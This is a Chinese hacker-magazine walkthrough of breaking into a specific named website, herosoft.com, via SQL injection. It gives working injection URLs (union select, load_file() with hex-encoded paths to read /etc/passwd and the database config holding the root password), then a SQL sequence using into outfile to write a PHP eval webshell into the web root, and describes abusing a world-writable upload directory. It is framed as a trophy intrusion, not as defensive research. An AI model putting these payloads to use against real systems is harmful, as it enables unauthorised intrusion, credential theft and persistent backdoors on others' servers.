:本文章已经已发表在《黑客手册》第5期,转载请注明版权信息。 ---------------------------低级的分割线----------------------- 文章很菜很菜,低级的root+injection读代码拿到shell,不会linux。 没提上去。 想继续玩的可以提权,那linux内核很低。(高手就不用看文章了) ---------------------------低级的分割线-----------------------
事出有因 2月14号了,seeflood给我的注入点。 很习惯性的加了一个单引号“’”,提示暴出路径,没什么其他的异常,于是开始注射。
1、 使用order by 确定长度。
http://www.herosoft.com/download.php?fid=2 order by 40/*出错
http://www.herosoft.com/download.php?fid=2 order by 20/*返回正确,也就是说在20-40之间,高中学过2分法的吧,就那样注入,接着我们提交
http://www.herosoft.com/download.php?fid=2 order by 30/*返回错误,ok,我们的长度缩小到了30-40之间,继续提交
http://www.herosoft.com/download.php?fid=2 order by 35/*,返回提示错误,那么我们的长度应该在30-35之间,最后我确定了长度为31,(下文中的%20就是空格)。
2、联合查询 我们得到长度了之后就开始找信息了,提交以下数据返回如图1
http://www.herosoft.com/download ... 0union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/* (图1)
接着我们把“7”、“10”分别用user()、database()来代替,提交
http://www.herosoft.com/download ... 0union%20select%201,2,3,4,5,6,user(),8,9,10,databse(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/*返回信息如图2所示 (图2)
从图里我们可以看到数据库和web在一个服务器上,并且是root权限的,很不错!既然是root权限的我们就不需要去猜解表名浪费时间了…后来注意到。服务器是一个linux的,apache的,米办法,小菜我也不会提权,那么咱们以得到webshell为目标出发吧!首先,我们的权限是ROOT,不出意外的话load_file()是可以用的。我们先把download.php这个文件给读出来,转成16进制(当PHP对单引号进行转义的时候转成16进制就不需要单引号了),接着我们开始提交以下信息
http://www.herosoft.com/download ... 0union%20select%201,2,3,4,5,6,version(),8,9,load_file(0x2F777777726F6F742F6865726F736F66742F646F776E6C6F61642E706870),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/*我们看返回的信息是什么吧,如图3
(图3) 这个图里的信息是通过loadfile读取出来的,大家在IE浏览器里的“查看”---“
源代码”中就能找到。其实这个图最多给我们的信息是我们可以loadfile读取,好吧,换一个文件读取,和上面一步一样,我们就读取0x2F006500740063002F00700061007300730077006400里的信息,这个是什么呢,就是/etc/passwd的路径,ok,我们提交
http://www.herosoft.com/download ... 0union%20select%201,2,3,4,5,6,version(),8,9,load_file(0x2F006500740063002F00700061007300730077006400),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/*返回信息如图4
(图4) 这个……小菜也没学过linux,啥意思呢?看信息这个密码难道是X?也不可能啊……此路不行,条条大路通我家。换个思路,是root的权限,我们能不能…能不能SSH,我扫了下,结果如图5
(图5) 可是,咱们连不上去…怪了……没事。Sniperhg老是提醒我,咱们有root,于是再继续读文件吧,dowload.php include了一个文件,是/admin/dblink.php,看名字就知道是数据库连接文件,提交地址:
http://www.herosoft.com/download ... 0union%20select%201,2,3,4,5,6,version(),8,9,load_file(0x2F777777726F6F742F6865726F736F66742F61646D696E2F696E636C7564652F64626C696E6B2E706870),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/* 这样,我们查看源代码看到什么了?!如图6
(图6) 非常好!我们拿到了密码,接着就试着用牛族的mysql连接器连了,小菜有人问了:root不是本地才能的吗?嘿嘿,我RP一向不错,默认情况下是的,但是他有不有默认就不知道了,反正我成功连上了,如图7
(图7) 好!后面的简单了。我们导出一句话就能连上去了,依次执行
(图8)














复制内容到剪贴板
结果发现执行到第3步的时候出错,那是为什么呢,原因有2个:第1、我们的权限不够,无权写(几率很大!)第2、文件已经存在。没有权限怎么办呢?不怕,咱们从后台溜进去吧!于是登陆后台观察,发现不能上传PHP文件的,锁的很紧,无奈……没办法了怎么办,找sniperhg,他给我了一个shell,哇!原来是读了目录里的实现上传功能的文件的PHP代码,有这么一句:
代码:
Create TABLE a (cmd text NOT NULL); Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>'); select cmd from a into outfile '/wwwroot/herosoft/test.php'; Drop TABLE IF EXISTS a;
复制内容到剪贴板
中,如果文件夹不存在的话,是会自动创建一个属性是0777的文件夹,而0777属性的文件夹是可写的,我们找一个图片存放的文件夹就可以了,这里我到后台看了下,有个新闻图片,地址格式就是以日期命名的。其实大家遇到类似的问题也可以去img和admin两个目录下去搞,因为img下放图的嘛!admin下有一些备份之类的操作。现在知道上传的目录有权限写了,自然就outfile到了一个webshell,如图8
代码:
$datetime = date("YmdHis"); $date = date("Y-m-d"); $upfile_name=substr($upfile_name,-4); $img_directory="../../adminupload/uploadpic/$date"; if (! file_exists($img_directory)){ @mkdir($img_directory,0777); }

